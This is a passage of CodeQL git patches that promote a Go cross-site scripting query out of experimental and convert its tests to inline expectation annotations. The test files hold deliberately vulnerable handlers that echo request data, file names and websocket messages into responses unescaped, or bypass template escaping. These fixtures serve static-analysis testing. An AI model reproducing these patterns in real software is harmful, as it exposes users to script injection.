go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go similarity index 100% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected similarity index 100% rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected rename to go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go similarity index 100% rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go rename to go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref similarity index 100% rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref rename to go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref From 1530ac123cde7f6d433dca0609cb44eb206cd740 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 11:49:44 +0100 Subject: [PATCH 049/535] Update path in qlref and update test results --- .../HTMLTemplateEscapingPassthrough.expected | 39 ++++++++++++------- .../HTMLTemplateEscapingPassthrough.qlref | 2 +- 2 files changed, 25 insertions(+), 16 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected index c91fe813e9fe..8032c4eec221 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected @@ -10,32 +10,37 @@ | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | converted | edges | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | provenance | | | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:2 | +| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:3 | +| ReflectedXssGood.go:15:15:15:20 | selection of Form | ReflectedXssGood.go:15:15:15:36 | call to Get | provenance | Src:MaD:1 MaD:4 | +| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:20:24:20:31 | username | provenance | | +| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:21:40:21:47 | username | provenance | | models -| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | -| 2 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual | +| 1 | Source: net/http; Request; true; Form; ; ; ; remote; manual | +| 2 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | +| 3 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual | +| 4 | Summary: net/url; Values; true; Get; ; ; Argument[receiver]; ReturnValue; taint; manual | nodes | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent | @@ -73,4 +78,8 @@ nodes | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | semmle.label | call to HTMLEscapeString | | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | semmle.label | src | | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | semmle.label | converted | +| ReflectedXssGood.go:15:15:15:20 | selection of Form | semmle.label | selection of Form | +| ReflectedXssGood.go:15:15:15:36 | call to Get | semmle.label | call to Get | +| ReflectedXssGood.go:20:24:20:31 | username | semmle.label | username | +| ReflectedXssGood.go:21:40:21:47 | username | semmle.label | username | subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref index c425b9a445b7..acafdb5ff4c7 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref @@ -1,2 +1,2 @@ -query: experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +query: Security/CWE-079/HTMLTemplateEscapingPassthrough.ql postprocess: utils/test/PrettyPrintModels.ql From 1926ffd450433d1e0867438b7a2e1c820e233516 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 12:18:23 +0100 Subject: [PATCH 050/535] Convert XSS tests to use inline expectations --- .../HTMLTemplateEscapingPassthrough.go | 36 +++++++++---------- .../HTMLTemplateEscapingPassthrough.qlref | 4 ++- .../Security/CWE-079/ReflectedXss.go | 4 +-- .../Security/CWE-079/ReflectedXss.qlref | 4 ++- .../query-tests/Security/CWE-079/StoredXss.go | 2 +- .../Security/CWE-079/StoredXss.qlref | 4 ++- .../Security/CWE-079/contenttype.go | 24 ++++++------- .../Security/CWE-079/reflectedxsstest.go | 16 ++++----- .../query-tests/Security/CWE-079/stored.go | 8 ++--- .../test/query-tests/Security/CWE-079/tst.go | 8 ++--- .../Security/CWE-079/websocketXss.go | 24 ++++++------- 11 files changed, 70 insertions(+), 64 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go index de353c861cf0..dcadac92d280 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go @@ -26,45 +26,45 @@ func bad(req *http.Request) { { { - var a = template.HTML(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] } { { var a template.HTML - a = template.HTML(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] } { var a HTMLAlias - a = HTMLAlias(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] } } } { - var c = template.HTMLAttr(req.UserAgent()) - checkError(tmplTag.Execute(os.Stdout, c)) + var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-passthrough] } { - var d = template.JS(req.UserAgent()) - checkError(tmplScript.Execute(os.Stdout, d)) + var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-passthrough] } { - var e = template.JSStr(req.UserAgent()) - checkError(tmplScript.Execute(os.Stdout, e)) + var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-passthrough] } { - var b = template.CSS(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, b)) + var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-passthrough] } { - var f = template.Srcset(req.UserAgent()) - checkError(tmplSrcset.Execute(os.Stdout, f)) + var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-passthrough] } { - var g = template.URL(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, g)) + var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-passthrough] } } diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref index acafdb5ff4c7..61712749b14c 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/HTMLTemplateEscapingPassthrough.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go index 43e5e022598c..fe6f5844998c 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go @@ -8,10 +8,10 @@ import ( func serve() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source[go/reflected-xss] if !isValidUsername(username) { // BAD: a request parameter is incorporated without validation into the response - fmt.Fprintf(w, "%q is an unknown user", username) + fmt.Fprintf(w, "%q is an unknown user", username) // $ Alert[go/reflected-xss] } else { // TODO: Handle successful login } diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref index 754513d72bb3..e6b791f39fca 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/ReflectedXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go index 008b738f4cae..30774df39248 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go @@ -10,6 +10,6 @@ func ListFiles(w http.ResponseWriter, r *http.Request) { files, _ := ioutil.ReadDir(".") for _, file := range files { - io.WriteString(w, file.Name()+"\n") + io.WriteString(w, file.Name()+"\n") // $ Alert[go/stored-xss] } } diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref index 66b7d67dd8f3..f47ad25ca9c7 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/StoredXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/contenttype.go b/go/ql/test/query-tests/Security/CWE-079/contenttype.go index bb9880cc5769..2800b3eed456 100644 --- a/go/ql/test/query-tests/Security/CWE-079/contenttype.go +++ b/go/ql/test/query-tests/Security/CWE-079/contenttype.go @@ -8,13 +8,13 @@ import ( func serve2() { http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - data := r.Form.Get("data") + data := r.Form.Get("data") // $ Source[go/reflected-xss] // Not OK; direct flow from request body to output. // The response Content-Type header is derived from a call to // `http.DetectContentType`, which can be easily manipulated into returning // `text/html` for XSS. - w.Write([]byte(data)) + w.Write([]byte(data)) // $ Alert[go/reflected-xss] }) http.ListenAndServe(":80", nil) } @@ -46,11 +46,11 @@ func serve4() { func serve5() { http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - data := r.Form.Get("data") + data := r.Form.Get("data") // $ Source[go/reflected-xss] w.Header().Set("Content-Type", "text/html") - fmt.Fprintf(w, "Constant: %s", data) // Not OK; the content-type header is explicitly set to html + fmt.Fprintf(w, "Constant: %s", data) // $ Alert[go/reflected-xss] // The content-type header is explicitly set to html }) http.ListenAndServe(":80", nil) } @@ -60,8 +60,8 @@ func serve10() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") - fmt.Fprintf(w, "\t%s", data) // Not OK + data = r.FormValue("data") // $ Source[go/reflected-xss] + fmt.Fprintf(w, "\t%s", data) // $ Alert[go/reflected-xss] }) } @@ -70,13 +70,13 @@ func serve11() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") + data = r.FormValue("data") // $ Source[go/reflected-xss] fmt.Fprintf(w, ` %s -`, data) // Not OK +`, data) // $ Alert[go/reflected-xss] }) } @@ -85,10 +85,10 @@ func serve12() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") + data = r.FormValue("data") // $ Source[go/reflected-xss] fmt.Fprintf(w, ` %s -`, data) // Not OK +`, data) // $ Alert[go/reflected-xss] }) } @@ -110,7 +110,7 @@ func serve14() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") - fmt.Fprintf(w, "%s", data) // Not OK + data = r.FormValue("data") // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%s", data) // $ Alert[go/reflected-xss] }) } diff --git a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go index 70bb248298de..65024f6b865c 100644 --- a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go +++ b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go @@ -28,29 +28,29 @@ func ErrTest(w http.ResponseWriter, r http.Request) { w.Write([]byte(fmt.Sprintf("Cookie result: %v", cookie))) // GOOD: Cookie's value is not user-controlled in reflected xss. w.Write([]byte(fmt.Sprintf("Cookie check error: %v", err))) // GOOD: Cookie's err return is harmless http.Error(w, fmt.Sprintf("Cookie result: %v", cookie), 500) // Good: only plain text is written. - file, header, err := r.FormFile("someFile") + file, header, err := r.FormFile("someFile") // $ Source[go/reflected-xss] content, err2 := ioutil.ReadAll(file) - w.Write([]byte(fmt.Sprintf("File content: %v", content))) // BAD: file content is user-controlled - w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // BAD: file header is user-controlled + w.Write([]byte(fmt.Sprintf("File content: %v", content))) // $ Alert[go/reflected-xss] // BAD: file content is user-controlled + w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // $ Alert[go/reflected-xss] // BAD: file header is user-controlled w.Write([]byte(fmt.Sprintf("FormFile error: %v", err))) // GOOD: FormFile's err return is harmless w.Write([]byte(fmt.Sprintf("FormFile error: %v", err2))) // GOOD: ReadAll's err return is harmless - reader, err := r.MultipartReader() + reader, err := r.MultipartReader() // $ Source[go/reflected-xss] part, err2 := reader.NextPart() partName := part.FileName() byteSlice := make([]byte, 100) part.Read(byteSlice) - w.Write([]byte(fmt.Sprintf("Part name: %v", partName))) // BAD: part name is user-controlled - w.Write(byteSlice) // BAD: part contents are user-controlled + w.Write([]byte(fmt.Sprintf("Part name: %v", partName))) // $ Alert[go/reflected-xss] // BAD: part name is user-controlled + w.Write(byteSlice) // $ Alert[go/reflected-xss] // BAD: part contents are user-controlled w.Write([]byte(fmt.Sprintf("MultipartReader error: %v", err))) // GOOD: MultipartReader's err return is harmless w.Write([]byte(fmt.Sprintf("MultipartReader error: %v", err2))) // GOOD: NextPart's err return is harmless } func QueryMapTest(w http.ResponseWriter, r http.Request) { - keys, ok := r.URL.Query()["data_id"] + keys, ok := r.URL.Query()["data_id"] // $ Source[go/reflected-xss] if ok && len(keys[0]) > 0 { key := keys[0] - w.Write([]byte(key)) // BAD: query string is user-controlled + w.Write([]byte(key)) // $ Alert[go/reflected-xss] // BAD: query string is user-controlled } } diff --git a/go/ql/test/query-tests/Security/CWE-079/stored.go b/go/ql/test/query-tests/Security/CWE-079/stored.go index 807ae7e1d441..d2852f631ef2 100644 --- a/go/ql/test/query-tests/Security/CWE-079/stored.go +++ b/go/ql/test/query-tests/Security/CWE-079/stored.go @@ -15,7 +15,7 @@ var q string func storedserve1() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - rows, _ := db.Query(q, 32) + rows, _ := db.Query(q, 32) // $ Source[go/stored-xss] for rows.Next() { var ( @@ -27,7 +27,7 @@ func storedserve1() { } // BAD: the stored XSS query assumes all query results are untrusted - io.WriteString(w, name) + io.WriteString(w, name) // $ Alert[go/stored-xss] } }) } @@ -56,9 +56,9 @@ func storedserve2() { func storedserve3() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { - filepath.WalkDir(".", func(path string, _ fs.DirEntry, err error) error { + filepath.WalkDir(".", func(path string, _ fs.DirEntry, err error) error { // $ Source[go/stored-xss] // BAD: filenames are considered to be untrusted - io.WriteString(w, path) + io.WriteString(w, path) // $ Alert[go/stored-xss] return nil }) }) diff --git a/go/ql/test/query-tests/Security/CWE-079/tst.go b/go/ql/test/query-tests/Security/CWE-079/tst.go index e6d4f1ed22b8..c53fe476b951 100644 --- a/go/ql/test/query-tests/Security/CWE-079/tst.go +++ b/go/ql/test/query-tests/Security/CWE-079/tst.go @@ -11,11 +11,11 @@ import ( func serve6() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source[go/reflected-xss] if !isValidUsername(username) { // BAD: a request parameter is incorporated without validation into the response a := []string{username, "is", "an", "unknown", "user"} - w.Write([]byte(strings.Join(a, " "))) + w.Write([]byte(strings.Join(a, " "))) // $ Alert[go/reflected-xss] } else { // TODO: do something exciting } @@ -45,12 +45,12 @@ func serve7() { func serve8() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - service := r.Form.Get("service") + service := r.Form.Get("service") // $ Source[go/reflected-xss] if service != "service1" && service != "service2" { fmt.Fprintln(w, "Service not found") } else { // OK (service is known to be either "service1" or "service2" here), but currently flagged - w.Write([]byte(service)) + w.Write([]byte(service)) // $ SPURIOUS: Alert[go/reflected-xss] } }) } diff --git a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go index 06f15e52cd30..1313f431dd53 100644 --- a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go @@ -27,32 +27,32 @@ func xss(w http.ResponseWriter, r *http.Request) { origin := "test" { ws, _ := websocket.Dial(uri, "", origin) - var xnet = make([]byte, 512) + var xnet = make([]byte, 512) // $ Source[go/reflected-xss] ws.Read(xnet) - fmt.Fprintf(w, "%v", xnet) + fmt.Fprintf(w, "%v", xnet) // $ Alert[go/reflected-xss] codec := &websocket.Codec{marshal, unmarshal} - xnet2 := make([]byte, 512) + xnet2 := make([]byte, 512) // $ Source[go/reflected-xss] codec.Receive(ws, xnet2) - fmt.Fprintf(w, "%v", xnet2) + fmt.Fprintf(w, "%v", xnet2) // $ Alert[go/reflected-xss] } { n, _, _ := nhooyr.Dial(context.TODO(), uri, nil) - _, nhooyr, _ := n.Read(context.TODO()) - fmt.Fprintf(w, "%v", nhooyr) + _, nhooyr, _ := n.Read(context.TODO()) // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%v", nhooyr) // $ Alert[go/reflected-xss] } { dialer := gorilla.Dialer{} conn, _, _ := dialer.Dial(uri, nil) - var gorillaMsg = make([]byte, 512) + var gorillaMsg = make([]byte, 512) // $ Source[go/reflected-xss] gorilla.ReadJSON(conn, gorillaMsg) - fmt.Fprintf(w, "%v", gorillaMsg) + fmt.Fprintf(w, "%v", gorillaMsg) // $ Alert[go/reflected-xss] - gorilla2 := make([]byte, 512) + gorilla2 := make([]byte, 512) // $ Source[go/reflected-xss] conn.ReadJSON(gorilla2) - fmt.Fprintf(w, "%v", gorilla2) + fmt.Fprintf(w, "%v", gorilla2) // $ Alert[go/reflected-xss] - _, gorilla3, _ := conn.ReadMessage() - fmt.Fprintf(w, "%v", gorilla3) + _, gorilla3, _ := conn.ReadMessage() // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%v", gorilla3) // $ Alert[go/reflected-xss] } } From c2ebdf5266a900b27c8b439d58cce99a2ea52eee Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 12:22:00 +0100 Subject: [PATCH 051/535] Change query id to `go/html-template-escaping-bypass-xss` --- .../HTMLTemplateEscapingPassthrough.ql | 2 +- .../HTMLTemplateEscapingPassthrough.go | 36 +++++++++---------- 2 files changed, 19 insertions(+), 19 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index ff63f6bfbec7..c7135f9eeea0 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -4,7 +4,7 @@ * template, it may result in XSS. * @kind path-problem * @problem.severity warning - * @id go/html-template-escaping-passthrough + * @id go/html-template-escaping-bypass-xss * @tags security * experimental * external/cwe/cwe-079 diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go index dcadac92d280..50e318d956ac 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go @@ -26,45 +26,45 @@ func bad(req *http.Request) { { { - var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] + var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } { { var a template.HTML - a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] + a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } { var a HTMLAlias - a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] + a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // 